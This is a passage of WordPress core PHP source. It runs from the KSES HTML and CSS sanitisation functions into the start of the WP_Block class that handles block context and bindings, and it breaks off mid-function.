	$scheme = wp_kses_no_null( $scheme );
	$scheme = strtolower( $scheme );

	$allowed = false;
	foreach ( (array) $allowed_protocols as $one_protocol ) {
		if ( strtolower( $one_protocol ) === $scheme ) {
			$allowed = true;
			break;
		}
	}

	if ( $allowed ) {
		return "$scheme:";
	} else {
		return '';
	}
}

/**
 * Converts and fixes HTML entities.
 *
 * This function normalizes HTML entities. It will convert `AT&T` to the correct
 * `AT&amp;T`, `&#00058;` to `&#058;`, `&#XYZZY;` to `&amp;#XYZZY;` and so on.
 *
 * When `$context` is set to 'xml', HTML entities are converted to their code points.  For
 * example, `AT&T&hellip;&#XYZZY;` is converted to `AT&amp;T…&amp;#XYZZY;`.
 *
 * @since 1.0.0
 * @since 5.5.0 Added `$context` parameter.
 *
 * @param string $content Content to normalize entities.
 * @param string $context Context for normalization. Can be either 'html' or 'xml'.
 *                        Default 'html'.
 * @return string Content with normalized entities.
 */
function wp_kses_normalize_entities( $content, $context = 'html' ) {
	// Disarm all entities by converting & to &amp;
	$content = str_replace( '&', '&amp;', $content );

	// Change back the allowed entities in our list of allowed entities.
	if ( 'xml' === $context ) {
		$content = preg_replace_callback( '/&amp;([A-Za-z]{2,8}[0-9]{0,2});/', 'wp_kses_xml_named_entities', $content );
	} else {
		$content = preg_replace_callback( '/&amp;([A-Za-z]{2,8}[0-9]{0,2});/', 'wp_kses_named_entities', $content );
	}
	$content = preg_replace_callback( '/&amp;#(0*[0-9]{1,7});/', 'wp_kses_normalize_entities2', $content );
	$content = preg_replace_callback( '/&amp;#[Xx](0*[0-9A-Fa-f]{1,6});/', 'wp_kses_normalize_entities3', $content );

	return $content;
}

/**
 * Callback for `wp_kses_normalize_entities()` regular expression.
 *
 * This function only accepts valid named entity references, which are finite,
 * case-sensitive, and highly scrutinized by HTML and XML validators.
 *
 * @since 3.0.0
 *
 * @global array $allowedentitynames
 *
 * @param array $matches preg_replace_callback() matches array.
 * @return string Correctly encoded entity.
 */
function wp_kses_named_entities( $matches ) {
	global $allowedentitynames;

	if ( empty( $matches[1] ) ) {
		return '';
	}

	$i = $matches[1];
	return ( ! in_array( $i, $allowedentitynames, true ) ) ? "&amp;$i;" : "&$i;";
}

/**
 * Callback for `wp_kses_normalize_entities()` regular expression.
 *
 * This function only accepts valid named entity references, which are finite,
 * case-sensitive, and highly scrutinized by XML validators.  HTML named entity
 * references are converted to their code points.
 *
 * @since 5.5.0
 *
 * @global array $allowedentitynames
 * @global array $allowedxmlentitynames
 *
 * @param array $matches preg_replace_callback() matches array.
 * @return string Correctly encoded entity.
 */
function wp_kses_xml_named_entities( $matches ) {
	global $allowedentitynames, $allowedxmlentitynames;

	if ( empty( $matches[1] ) ) {
		return '';
	}

	$i = $matches[1];

	if ( in_array( $i, $allowedxmlentitynames, true ) ) {
		return "&$i;";
	} elseif ( in_array( $i, $allowedentitynames, true ) ) {
		return html_entity_decode( "&$i;", ENT_HTML5 );
	}

	return "&amp;$i;";
}

/**
 * Callback for `wp_kses_normalize_entities()` regular expression.
 *
 * This function helps `wp_kses_normalize_entities()` to only accept 16-bit
 * values and nothing more for `&#number;` entities.
 *
 * @access private
 * @ignore
 * @since 1.0.0
 *
 * @param array $matches `preg_replace_callback()` matches array.
 * @return string Correctly encoded entity.
 */
function wp_kses_normalize_entities2( $matches ) {
	if ( empty( $matches[1] ) ) {
		return '';
	}

	$i = $matches[1];

	if ( valid_unicode( $i ) ) {
		$i = str_pad( ltrim( $i, '0' ), 3, '0', STR_PAD_LEFT );
		$i = "&#$i;";
	} else {
		$i = "&amp;#$i;";
	}

	return $i;
}

/**
 * Callback for `wp_kses_normalize_entities()` for regular expression.
 *
 * This function helps `wp_kses_normalize_entities()` to only accept valid Unicode
 * numeric entities in hex form.
 *
 * @since 2.7.0
 * @access private
 * @ignore
 *
 * @param array $matches `preg_replace_callback()` matches array.
 * @return string Correctly encoded entity.
 */
function wp_kses_normalize_entities3( $matches ) {
	if ( empty( $matches[1] ) ) {
		return '';
	}

	$hexchars = $matches[1];

	return ( ! valid_unicode( hexdec( $hexchars ) ) ) ? "&amp;#x$hexchars;" : '&#x' . ltrim( $hexchars, '0' ) . ';';
}

/**
 * Determines if a Unicode codepoint is valid.
 *
 * @since 2.7.0
 *
 * @param int $i Unicode codepoint.
 * @return bool Whether or not the codepoint is a valid Unicode codepoint.
 */
function valid_unicode( $i ) {
	$i = (int) $i;

	return ( 0x9 === $i || 0xa === $i || 0xd === $i ||
		( 0x20 <= $i && $i <= 0xd7ff ) ||
		( 0xe000 <= $i && $i <= 0xfffd ) ||
		( 0x10000 <= $i && $i <= 0x10ffff )
	);
}

/**
 * Converts all numeric HTML entities to their named counterparts.
 *
 * This function decodes numeric HTML entities (`&#65;` and `&#x41;`).
 * It doesn't do anything with named entities like `&auml;`, but we don't
 * need them in the allowed URL protocols system anyway.
 *
 * @since 1.0.0
 *
 * @param string $content Content to change entities.
 * @return string Content after decoded entities.
 */
function wp_kses_decode_entities( $content ) {
	$content = preg_replace_callback( '/&#([0-9]+);/', '_wp_kses_decode_entities_chr', $content );
	$content = preg_replace_callback( '/&#[Xx]([0-9A-Fa-f]+);/', '_wp_kses_decode_entities_chr_hexdec', $content );

	return $content;
}

/**
 * Regex callback for `wp_kses_decode_entities()`.
 *
 * @since 2.9.0
 * @access private
 * @ignore
 *
 * @param array $matches preg match
 * @return string
 */
function _wp_kses_decode_entities_chr( $matches ) {
	return chr( $matches[1] );
}

/**
 * Regex callback for `wp_kses_decode_entities()`.
 *
 * @since 2.9.0
 * @access private
 * @ignore
 *
 * @param array $matches preg match
 * @return string
 */
function _wp_kses_decode_entities_chr_hexdec( $matches ) {
	return chr( hexdec( $matches[1] ) );
}

/**
 * Sanitize content with allowed HTML KSES rules.
 *
 * This function expects slashed data.
 *
 * @since 1.0.0
 *
 * @param string $data Content to filter, expected to be escaped with slashes.
 * @return string Filtered content.
 */
function wp_filter_kses( $data ) {
	return addslashes( wp_kses( stripslashes( $data ), current_filter() ) );
}

/**
 * Sanitize content with allowed HTML KSES rules.
 *
 * This function expects unslashed data.
 *
 * @since 2.9.0
 *
 * @param string $data Content to filter, expected to not be escaped.
 * @return string Filtered content.
 */
function wp_kses_data( $data ) {
	return wp_kses( $data, current_filter() );
}

/**
 * Sanitizes content for allowed HTML tags for post content.
 *
 * Post content refers to the page contents of the 'post' type and not `$_POST`
 * data from forms.
 *
 * This function expects slashed data.
 *
 * @since 2.0.0
 *
 * @param string $data Post content to filter, expected to be escaped with slashes.
 * @return string Filtered post content with allowed HTML tags and attributes intact.
 */
function wp_filter_post_kses( $data ) {
	return addslashes( wp_kses( stripslashes( $data ), 'post' ) );
}

/**
 * Sanitizes global styles user content removing unsafe rules.
 *
 * @since 5.9.0
 *
 * @param string $data Post content to filter.
 * @return string Filtered post content with unsafe rules removed.
 */
function wp_filter_global_styles_post( $data ) {
	$decoded_data        = json_decode( wp_unslash( $data ), true );
	$json_decoding_error = json_last_error();
	if (
		JSON_ERROR_NONE === $json_decoding_error &&
		is_array( $decoded_data ) &&
		isset( $decoded_data['isGlobalStylesUserThemeJSON'] ) &&
		$decoded_data['isGlobalStylesUserThemeJSON']
	) {
		unset( $decoded_data['isGlobalStylesUserThemeJSON'] );

		$data_to_encode = WP_Theme_JSON::remove_insecure_properties( $decoded_data );

		$data_to_encode['isGlobalStylesUserThemeJSON'] = true;
		return wp_slash( wp_json_encode( $data_to_encode ) );
	}
	return $data;
}

/**
 * Sanitizes content for allowed HTML tags for post content.
 *
 * Post content refers to the page contents of the 'post' type and not `$_POST`
 * data from forms.
 *
 * This function expects unslashed data.
 *
 * @since 2.9.0
 *
 * @param string $data Post content to filter.
 * @return string Filtered post content with allowed HTML tags and attributes intact.
 */
function wp_kses_post( $data ) {
	return wp_kses( $data, 'post' );
}

/**
 * Navigates through an array, object, or scalar, and sanitizes content for
 * allowed HTML tags for post content.
 *
 * @since 4.4.2
 *
 * @see map_deep()
 *
 * @param mixed $data The array, object, or scalar value to inspect.
 * @return mixed The filtered content.
 */
function wp_kses_post_deep( $data ) {
	return map_deep( $data, 'wp_kses_post' );
}

/**
 * Strips all HTML from a text string.
 *
 * This function expects slashed data.
 *
 * @since 2.1.0
 *
 * @param string $data Content to strip all HTML from.
 * @return string Filtered content without any HTML.
 */
function wp_filter_nohtml_kses( $data ) {
	return addslashes( wp_kses( stripslashes( $data ), 'strip' ) );
}

/**
 * Adds all KSES input form content filters.
 *
 * All hooks have default priority. The `wp_filter_kses()` function is added to
 * the 'pre_comment_content' and 'title_save_pre' hooks.
 *
 * The `wp_filter_post_kses()` function is added to the 'content_save_pre',
 * 'excerpt_save_pre', and 'content_filtered_save_pre' hooks.
 *
 * @since 2.0.0
 */
function kses_init_filters() {
	// Normal filtering.
	add_filter( 'title_save_pre', 'wp_filter_kses' );

	// Comment filtering.
	if ( current_user_can( 'unfiltered_html' ) ) {
		add_filter( 'pre_comment_content', 'wp_filter_post_kses' );
	} else {
		add_filter( 'pre_comment_content', 'wp_filter_kses' );
	}

	// Global Styles filtering: Global Styles filters should be executed before normal post_kses HTML filters.
	add_filter( 'content_save_pre', 'wp_filter_global_styles_post', 9 );
	add_filter( 'content_filtered_save_pre', 'wp_filter_global_styles_post', 9 );

	// Post filtering.
	add_filter( 'content_save_pre', 'wp_filter_post_kses' );
	add_filter( 'excerpt_save_pre', 'wp_filter_post_kses' );
	add_filter( 'content_filtered_save_pre', 'wp_filter_post_kses' );
}

/**
 * Removes all KSES input form content filters.
 *
 * A quick procedural method to removing all of the filters that KSES uses for
 * content in WordPress Loop.
 *
 * Does not remove the `kses_init()` function from {@see 'init'} hook (priority is
 * default). Also does not remove `kses_init()` function from {@see 'set_current_user'}
 * hook (priority is also default).
 *
 * @since 2.0.6
 */
function kses_remove_filters() {
	// Normal filtering.
	remove_filter( 'title_save_pre', 'wp_filter_kses' );

	// Comment filtering.
	remove_filter( 'pre_comment_content', 'wp_filter_post_kses' );
	remove_filter( 'pre_comment_content', 'wp_filter_kses' );

	// Global Styles filtering.
	remove_filter( 'content_save_pre', 'wp_filter_global_styles_post', 9 );
	remove_filter( 'content_filtered_save_pre', 'wp_filter_global_styles_post', 9 );

	// Post filtering.
	remove_filter( 'content_save_pre', 'wp_filter_post_kses' );
	remove_filter( 'excerpt_save_pre', 'wp_filter_post_kses' );
	remove_filter( 'content_filtered_save_pre', 'wp_filter_post_kses' );
}

/**
 * Sets up most of the KSES filters for input form content.
 *
 * First removes all of the KSES filters in case the current user does not need
 * to have KSES filter the content. If the user does not have `unfiltered_html`
 * capability, then KSES filters are added.
 *
 * @since 2.0.0
 */
function kses_init() {
	kses_remove_filters();

	if ( ! current_user_can( 'unfiltered_html' ) ) {
		kses_init_filters();
	}
}

/**
 * Filters an inline style attribute and removes disallowed rules.
 *
 * @since 2.8.1
 * @since 4.4.0 Added support for `min-height`, `max-height`, `min-width`, and `max-width`.
 * @since 4.6.0 Added support for `list-style-type`.
 * @since 5.0.0 Added support for `background-image`.
 * @since 5.1.0 Added support for `text-transform`.
 * @since 5.2.0 Added support for `background-position` and `grid-template-columns`.
 * @since 5.3.0 Added support for `grid`, `flex` and `column` layout properties.
 *              Extended `background-*` support for individual properties.
 * @since 5.3.1 Added support for gradient backgrounds.
 * @since 5.7.1 Added support for `object-position`.
 * @since 5.8.0 Added support for `calc()` and `var()` values.
 * @since 6.1.0 Added support for `min()`, `max()`, `minmax()`, `clamp()`,
 *              nested `var()` values, and assigning values to CSS variables.
 *              Added support for `object-fit`, `gap`, `column-gap`, `row-gap`, and `flex-wrap`.
 *              Extended `margin-*` and `padding-*` support for logical properties.
 * @since 6.2.0 Added support for `aspect-ratio`, `position`, `top`, `right`, `bottom`, `left`,
 *              and `z-index` CSS properties.
 * @since 6.3.0 Extended support for `filter` to accept a URL and added support for repeat().
 *              Added support for `box-shadow`.
 * @since 6.4.0 Added support for `writing-mode`.
 * @since 6.5.0 Added support for `background-repeat`.
 *
 * @param string $css        A string of CSS rules.
 * @param string $deprecated Not used.
 * @return string Filtered string of CSS rules.
 */
function safecss_filter_attr( $css, $deprecated = '' ) {
	if ( ! empty( $deprecated ) ) {
		_deprecated_argument( __FUNCTION__, '2.8.1' ); // Never implemented.
	}

	$css = wp_kses_no_null( $css );
	$css = str_replace( array( "\n", "\r", "\t" ), '', $css );

	$allowed_protocols = wp_allowed_protocols();

	$css_array = explode( ';', trim( $css ) );

	/**
	 * Filters the list of allowed CSS attributes.
	 *
	 * @since 2.8.1
	 *
	 * @param string[] $attr Array of allowed CSS attributes.
	 */
	$allowed_attr = apply_filters(
		'safe_style_css',
		array(
			'background',
			'background-color',
			'background-image',
			'background-position',
			'background-repeat',
			'background-size',
			'background-attachment',
			'background-blend-mode',

			'border',
			'border-radius',
			'border-width',
			'border-color',
			'border-style',
			'border-right',
			'border-right-color',
			'border-right-style',
			'border-right-width',
			'border-bottom',
			'border-bottom-color',
			'border-bottom-left-radius',
			'border-bottom-right-radius',
			'border-bottom-style',
			'border-bottom-width',
			'border-bottom-right-radius',
			'border-bottom-left-radius',
			'border-left',
			'border-left-color',
			'border-left-style',
			'border-left-width',
			'border-top',
			'border-top-color',
			'border-top-left-radius',
			'border-top-right-radius',
			'border-top-style',
			'border-top-width',
			'border-top-left-radius',
			'border-top-right-radius',

			'border-spacing',
			'border-collapse',
			'caption-side',

			'columns',
			'column-count',
			'column-fill',
			'column-gap',
			'column-rule',
			'column-span',
			'column-width',

			'color',
			'filter',
			'font',
			'font-family',
			'font-size',
			'font-style',
			'font-variant',
			'font-weight',
			'letter-spacing',
			'line-height',
			'text-align',
			'text-decoration',
			'text-indent',
			'text-transform',

			'height',
			'min-height',
			'max-height',

			'width',
			'min-width',
			'max-width',

			'margin',
			'margin-right',
			'margin-bottom',
			'margin-left',
			'margin-top',
			'margin-block-start',
			'margin-block-end',
			'margin-inline-start',
			'margin-inline-end',

			'padding',
			'padding-right',
			'padding-bottom',
			'padding-left',
			'padding-top',
			'padding-block-start',
			'padding-block-end',
			'padding-inline-start',
			'padding-inline-end',

			'flex',
			'flex-basis',
			'flex-direction',
			'flex-flow',
			'flex-grow',
			'flex-shrink',
			'flex-wrap',

			'gap',
			'column-gap',
			'row-gap',

			'grid-template-columns',
			'grid-auto-columns',
			'grid-column-start',
			'grid-column-end',
			'grid-column-gap',
			'grid-template-rows',
			'grid-auto-rows',
			'grid-row-start',
			'grid-row-end',
			'grid-row-gap',
			'grid-gap',

			'justify-content',
			'justify-items',
			'justify-self',
			'align-content',
			'align-items',
			'align-self',

			'clear',
			'cursor',
			'direction',
			'float',
			'list-style-type',
			'object-fit',
			'object-position',
			'overflow',
			'vertical-align',
			'writing-mode',

			'position',
			'top',
			'right',
			'bottom',
			'left',
			'z-index',
			'box-shadow',
			'aspect-ratio',

			// Custom CSS properties.
			'--*',
		)
	);

	/*
	 * CSS attributes that accept URL data types.
	 *
	 * This is in accordance to the CSS spec and unrelated to
	 * the sub-set of supported attributes above.
	 *
	 * See: https://developer.mozilla.org/en-US/docs/Web/CSS/url
	 */
	$css_url_data_types = array(
		'background',
		'background-image',

		'cursor',
		'filter',

		'list-style',
		'list-style-image',
	);

	/*
	 * CSS attributes that accept gradient data types.
	 *
	 */
	$css_gradient_data_types = array(
		'background',
		'background-image',
	);

	if ( empty( $allowed_attr ) ) {
		return $css;
	}

	$css = '';
	foreach ( $css_array as $css_item ) {
		if ( '' === $css_item ) {
			continue;
		}

		$css_item        = trim( $css_item );
		$css_test_string = $css_item;
		$found           = false;
		$url_attr        = false;
		$gradient_attr   = false;
		$is_custom_var   = false;

		if ( ! str_contains( $css_item, ':' ) ) {
			$found = true;
		} else {
			$parts        = explode( ':', $css_item, 2 );
			$css_selector = trim( $parts[0] );

			// Allow assigning values to CSS variables.
			if ( in_array( '--*', $allowed_attr, true ) && preg_match( '/^--[a-zA-Z0-9-_]+$/', $css_selector ) ) {
				$allowed_attr[] = $css_selector;
				$is_custom_var  = true;
			}

			if ( in_array( $css_selector, $allowed_attr, true ) ) {
				$found         = true;
				$url_attr      = in_array( $css_selector, $css_url_data_types, true );
				$gradient_attr = in_array( $css_selector, $css_gradient_data_types, true );
			}

			if ( $is_custom_var ) {
				$css_value     = trim( $parts[1] );
				$url_attr      = str_starts_with( $css_value, 'url(' );
				$gradient_attr = str_contains( $css_value, '-gradient(' );
			}
		}

		if ( $found && $url_attr ) {
			// Simplified: matches the sequence `url(*)`.
			preg_match_all( '/url\([^)]+\)/', $parts[1], $url_matches );

			foreach ( $url_matches[0] as $url_match ) {
				// Clean up the URL from each of the matches above.
				preg_match( '/^url\(\s*([\'\"]?)(.*)(\g1)\s*\)$/', $url_match, $url_pieces );

				if ( empty( $url_pieces[2] ) ) {
					$found = false;
					break;
				}

				$url = trim( $url_pieces[2] );

				if ( empty( $url ) || wp_kses_bad_protocol( $url, $allowed_protocols ) !== $url ) {
					$found = false;
					break;
				} else {
					// Remove the whole `url(*)` bit that was matched above from the CSS.
					$css_test_string = str_replace( $url_match, '', $css_test_string );
				}
			}
		}

		if ( $found && $gradient_attr ) {
			$css_value = trim( $parts[1] );
			if ( preg_match( '/^(repeating-)?(linear|radial|conic)-gradient\(([^()]|rgb[a]?\([^()]*\))*\)$/', $css_value ) ) {
				// Remove the whole `gradient` bit that was matched above from the CSS.
				$css_test_string = str_replace( $css_value, '', $css_test_string );
			}
		}

		if ( $found ) {
			/*
			 * Allow CSS functions like var(), calc(), etc. by removing them from the test string.
			 * Nested functions and parentheses are also removed, so long as the parentheses are balanced.
			 */
			$css_test_string = preg_replace(
				'/\b(?:var|calc|min|max|minmax|clamp|repeat)(\((?:[^()]|(?1))*\))/',
				'',
				$css_test_string
			);

			/*
			 * Disallow CSS containing \ ( & } = or comments, except for within url(), var(), calc(), etc.
			 * which were removed from the test string above.
			 */
			$allow_css = ! preg_match( '%[\\\(&=}]|/\*%', $css_test_string );

			/**
			 * Filters the check for unsafe CSS in `safecss_filter_attr`.
			 *
			 * Enables developers to determine whether a section of CSS should be allowed or discarded.
			 * By default, the value will be false if the part contains \ ( & } = or comments.
			 * Return true to allow the CSS part to be included in the output.
			 *
			 * @since 5.5.0
			 *
			 * @param bool   $allow_css       Whether the CSS in the test string is considered safe.
			 * @param string $css_test_string The CSS string to test.
			 */
			$allow_css = apply_filters( 'safecss_filter_attr_allow_css', $allow_css, $css_test_string );

			// Only add the CSS part if it passes the regex check.
			if ( $allow_css ) {
				if ( '' !== $css ) {
					$css .= ';';
				}

				$css .= $css_item;
			}
		}
	}

	return $css;
}

/**
 * Helper function to add global attributes to a tag in the allowed HTML list.
 *
 * @since 3.5.0
 * @since 5.0.0 Added support for `data-*` wildcard attributes.
 * @since 6.0.0 Added `dir`, `lang`, and `xml:lang` to global attributes.
 * @since 6.3.0 Added `aria-controls`, `aria-current`, and `aria-expanded` attributes.
 * @since 6.4.0 Added `aria-live` and `hidden` attributes.
 *
 * @access private
 * @ignore
 *
 * @param array $value An array of attributes.
 * @return array The array of attributes with global attributes added.
 */
function _wp_add_global_attributes( $value ) {
	$global_attributes = array(
		'aria-controls'    => true,
		'aria-current'     => true,
		'aria-describedby' => true,
		'aria-details'     => true,
		'aria-expanded'    => true,
		'aria-hidden'      => true,
		'aria-label'       => true,
		'aria-labelledby'  => true,
		'aria-live'        => true,
		'class'            => true,
		'data-*'           => true,
		'dir'              => true,
		'hidden'           => true,
		'id'               => true,
		'lang'             => true,
		'style'            => true,
		'title'            => true,
		'role'             => true,
		'xml:lang'         => true,
	);

	if ( true === $value ) {
		$value = array();
	}

	if ( is_array( $value ) ) {
		return array_merge( $value, $global_attributes );
	}

	return $value;
}

/**
 * Helper function to check if this is a safe PDF URL.
 *
 * @since 5.9.0
 * @access private
 * @ignore
 *
 * @param string $url The URL to check.
 * @return bool True if the URL is safe, false otherwise.
 */
function _wp_kses_allow_pdf_objects( $url ) {
	// We're not interested in URLs that contain query strings or fragments.
	if ( str_contains( $url, '?' ) || str_contains( $url, '#' ) ) {
		return false;
	}

	// If it doesn't have a PDF extension, it's not safe.
	if ( ! str_ends_with( $url, '.pdf' ) ) {
		return false;
	}

	// If the URL host matches the current site's media URL, it's safe.
	$upload_info = wp_upload_dir( null, false );
	$parsed_url  = wp_parse_url( $upload_info['url'] );
	$upload_host = isset( $parsed_url['host'] ) ? $parsed_url['host'] : '';
	$upload_port = isset( $parsed_url['port'] ) ? ':' . $parsed_url['port'] : '';

	if ( str_starts_with( $url, "http://$upload_host$upload_port/" )
		|| str_starts_with( $url, "https://$upload_host$upload_port/" )
	) {
		return true;
	}

	return false;
}
<?php
/**
 * Blocks API: WP_Block class
 *
 * @package WordPress
 * @since 5.5.0
 */

/**
 * Class representing a parsed instance of a block.
 *
 * @since 5.5.0
 * @property array $attributes
 */
#[AllowDynamicProperties]
class WP_Block {

	/**
	 * Original parsed array representation of block.
	 *
	 * @since 5.5.0
	 * @var array
	 */
	public $parsed_block;

	/**
	 * Name of block.
	 *
	 * @example "core/paragraph"
	 *
	 * @since 5.5.0
	 * @var string
	 */
	public $name;

	/**
	 * Block type associated with the instance.
	 *
	 * @since 5.5.0
	 * @var WP_Block_Type
	 */
	public $block_type;

	/**
	 * Block context values.
	 *
	 * @since 5.5.0
	 * @var array
	 */
	public $context = array();

	/**
	 * All available context of the current hierarchy.
	 *
	 * @since 5.5.0
	 * @var array
	 * @access protected
	 */
	protected $available_context;

	/**
	 * Block type registry.
	 *
	 * @since 5.9.0
	 * @var WP_Block_Type_Registry
	 * @access protected
	 */
	protected $registry;

	/**
	 * List of inner blocks (of this same class)
	 *
	 * @since 5.5.0
	 * @var WP_Block_List
	 */
	public $inner_blocks = array();

	/**
	 * Resultant HTML from inside block comment delimiters after removing inner
	 * blocks.
	 *
	 * @example "...Just <!-- wp:test /--> testing..." -> "Just testing..."
	 *
	 * @since 5.5.0
	 * @var string
	 */
	public $inner_html = '';

	/**
	 * List of string fragments and null markers where inner blocks were found
	 *
	 * @example array(
	 *   'inner_html'    => 'BeforeInnerAfter',
	 *   'inner_blocks'  => array( block, block ),
	 *   'inner_content' => array( 'Before', null, 'Inner', null, 'After' ),
	 * )
	 *
	 * @since 5.5.0
	 * @var array
	 */
	public $inner_content = array();

	/**
	 * Constructor.
	 *
	 * Populates object properties from the provided block instance argument.
	 *
	 * The given array of context values will not necessarily be available on
	 * the instance itself, but is treated as the full set of values provided by
	 * the block's ancestry. This is assigned to the private `available_context`
	 * property. Only values which are configured to consumed by the block via
	 * its registered type will be assigned to the block's `context` property.
	 *
	 * @since 5.5.0
	 *
	 * @param array                  $block             Array of parsed block properties.
	 * @param array                  $available_context Optional array of ancestry context values.
	 * @param WP_Block_Type_Registry $registry          Optional block type registry.
	 */
	public function __construct( $block, $available_context = array(), $registry = null ) {
		$this->parsed_block = $block;
		$this->name         = $block['blockName'];

		if ( is_null( $registry ) ) {
			$registry = WP_Block_Type_Registry::get_instance();
		}

		$this->registry = $registry;

		$this->block_type = $registry->get_registered( $this->name );

		$this->available_context = $available_context;

		if ( ! empty( $this->block_type->uses_context ) ) {
			foreach ( $this->block_type->uses_context as $context_name ) {
				if ( array_key_exists( $context_name, $this->available_context ) ) {
					$this->context[ $context_name ] = $this->available_context[ $context_name ];
				}
			}
		}

		if ( ! empty( $block['innerBlocks'] ) ) {
			$child_context = $this->available_context;

			if ( ! empty( $this->block_type->provides_context ) ) {
				foreach ( $this->block_type->provides_context as $context_name => $attribute_name ) {
					if ( array_key_exists( $attribute_name, $this->attributes ) ) {
						$child_context[ $context_name ] = $this->attributes[ $attribute_name ];
					}
				}
			}

			$this->inner_blocks = new WP_Block_List( $block['innerBlocks'], $child_context, $registry );
		}

		if ( ! empty( $block['innerHTML'] ) ) {
			$this->inner_html = $block['innerHTML'];
		}

		if ( ! empty( $block['innerContent'] ) ) {
			$this->inner_content = $block['innerContent'];
		}
	}

	/**
	 * Returns a value from an inaccessible property.
	 *
	 * This is used to lazily initialize the `attributes` property of a block,
	 * such that it is only prepared with default attributes at the time that
	 * the property is accessed. For all other inaccessible properties, a `null`
	 * value is returned.
	 *
	 * @since 5.5.0
	 *
	 * @param string $name Property name.
	 * @return array|null Prepared attributes, or null.
	 */
	public function __get( $name ) {
		if ( 'attributes' === $name ) {
			$this->attributes = isset( $this->parsed_block['attrs'] ) ?
				$this->parsed_block['attrs'] :
				array();

			if ( ! is_null( $this->block_type ) ) {
				$this->attributes = $this->block_type->prepare_attributes_for_render( $this->attributes );
			}

			return $this->attributes;
		}

		return null;
	}

	/**
	 * Processes the block bindings and updates the block attributes with the values from the sources.
	 *
	 * A block might contain bindings in its attributes. Bindings are mappings
	 * between an attribute of the block and a source. A "source" is a function
	 * registered with `register_block_bindings_source()` that defines how to
	 * retrieve a value from outside the block, e.g. from post meta.
	 *
	 * This function will process those bindings and update the block's attributes
	 * with the values coming from the bindings.
	 *
	 * ### Example
	 *
	 * The "bindings" property for an Image block might look like this:
	 *
	 * ```json
	 * {
	 *   "metadata": {
	 *     "bindings": {
	 *       "title": {
	 *         "source": "core/post-meta",
	 *         "args": { "key": "text_custom_field" }
	 *       },
	 *       "url": {
	 *         "source": "core/post-meta",
	 *         "args": { "key": "url_custom_field" }
	 *       }
	 *     }
	 *   }
	 * }
	 * ```
	 *
	 * The above example will replace the `title` and `url` attributes of the Image
	 * block with the values of the `text_custom_field` and `url_custom_field` post meta.
	 *
	 * @since 6.5.0
	 *
	 * @return array The computed block attributes for the provided block bindings.
	 */
	private function process_block_bindings() {
		$parsed_block               = $this->parsed_block;
		$computed_attributes        = array();
		$supported_block_attributes = array(
			'core/paragraph' => array( 'content' ),
			'core/heading'   => array( 'content' ),
			'core/image'     => array( 'id', 'url', 'title', 'alt' ),
			'core/button'    => array( 'url', 'text', 'linkTarget', 'rel' ),
		);

		// If the block doesn't have the bindings property, isn't one of the supported
		// block types, or the bindings property is not an array, return the block content.
		if (
			! isset( $supported_block_attributes[ $this->name ] ) ||
			empty( $parsed_block['attrs']['metadata']['bindings'] ) ||
			! is_array( $parsed_block['attrs']['metadata']['bindings'] )
		) {
			return $computed_attributes;
		}

		foreach ( $parsed_block['attrs']['metadata']['bindings'] as $attribute_name => $block_binding ) {
			// If the attribute is not in the supported list, process next attribute.
			if ( ! in_array( $attribute_name, $supported_block_attributes[ $this->name ], true ) ) {
				continue;
			}
			// If no source is provided, or that source is not registered, process next attribute.
			if ( ! isset( $block_binding['source'] ) || ! is_string( $block_binding['source'] ) ) {
				continue;
			}

			$block_binding_source = get_block_bindings_source( $block_binding['source'] );
			if ( null === $block_binding_source ) {
				continue;
			}

			$source_args  = ! empty( $block_binding['args'] ) && is_array( $block_binding['args'] ) ? $block_binding['args'] : array();
			$source_value = $block_binding_source->get_value( $source_args, $this, $attribute_name );

			// If the value is not null, process the HTML based on the block and the attribute.
			if ( ! is_null( $source_value ) ) {
				$computed_attributes[ $attribute_name ] = $source_value;
			}
		}

		return $computed_attributes;
	}

	/**
	 * Depending on the block attribute name, replace its value in the HTML based on the value provided.
	 *
	 * @since 6.5.0
	 *
	 * @param string $block_content  Block content.
	 * @param string $attribute_name The attribute name to replace.
	 * @param mixed  $source_value   The value used to replace in the HTML.
	 * @return string The modified block content.
	 */
	private function replace_html( string $block_content, string $attribute_name, $source_value ) {
		$block_type = $this->block_type;
		if ( ! isset( $block_type->attributes[ $attribute_name ]['source'] ) ) {
			return $block_content;
		}

		// Depending on the attribute source, the processing will be different.
		switch ( $block_type->attributes[ $attribute_name ]['source'] ) {
			case 'html':
			case 'rich-text':
				$block_reader = new WP_HTML_Tag_Processor( $block_content );

				// TODO: Support for CSS selectors whenever they are ready in the HTML API.
				// In the meantime, support comma-separated selectors by exploding them into an array.
				$selectors = explode( ',', $block_type->attributes[ $attribute_name ]['selector'] );
				// Add a bookmark to the first tag to be able to iterate over the selectors.
				$block_reader->next_tag();
				$block_reader->set_bookmark( 'iterate-selectors' );

				// TODO: This shouldn't be needed when the `set_inner_html` function is ready.
				// Store the parent tag and its attributes to be able to restore them later in the button.
				// The button block has a wrapper while the paragraph and heading blocks don't.
				if ( 'core/button' === $this->name ) {
					$button_wrapper                 = $block_reader->get_tag();
					$button_wrapper_attribute_names = $block_reader->get_attribute_names_with_prefix( '' );
					$button_wrapper_attrs           = array();
					foreach ( $button_wrapper_attribute_names as $name ) {
						$button_wrapper_attrs[ $name ] = $block_reader->get_attribute( $name );
					}
				}

				foreach ( $selectors as $selector ) {
					// If the parent tag, or any of its children, matches the selector, replace the HTML.
					if ( strcasecmp( $block_reader->get_tag( $selector ), $selector ) === 0 || $block_reader->next_tag(
						array(
							'tag_name' => $selector,
						)
					) ) {
						$block_reader->release_bookmark( 'iterate-selectors' );

						// TODO: Use `set_inner_html` method whenever it's ready in the HTML API.
						// Until then, it is hardcoded for the paragraph, heading, and button blocks.
						// Store the tag and its attributes to be able to restore them later.
						$selector_attribute_names = $block_reader->get_attribute_names_with_prefix( '' );
						$selector_attrs           = array();
						foreach ( $selector_attribute_names as $name ) {
							$selector_attrs[ $name ] = $block_reader->get_attribute( $name );
						}
						$selector_markup = "<$selector>" . wp_kses_post( $source_value ) . "</$selector>";
						$amended_content = new WP_HTML_Tag_Processor( $selector_markup );
						$amended_content->next_tag();
						foreach ( $selector_attrs as $attribute_key => $attribute_value ) {
							$amended_content->set_attribute( $attribute_key, $attribute_value );
						}
						if ( 'core/paragraph' === $this->name || 'core/heading' === $this->name ) {
							return $amended_content->get_updated_html();
						}
						if ( 'core/button' === $this->name ) {
							$button_markup  = "<$button_wrapper>{$amended_content->get_updated_html()}</$button_wrapper>";
							$amended_button = new WP_HTML_Tag_Processor( $button_markup );
							$amended_button->next_tag();
							foreach ( $button_wrapper_attrs as $attribute_key => $attribute_value ) {
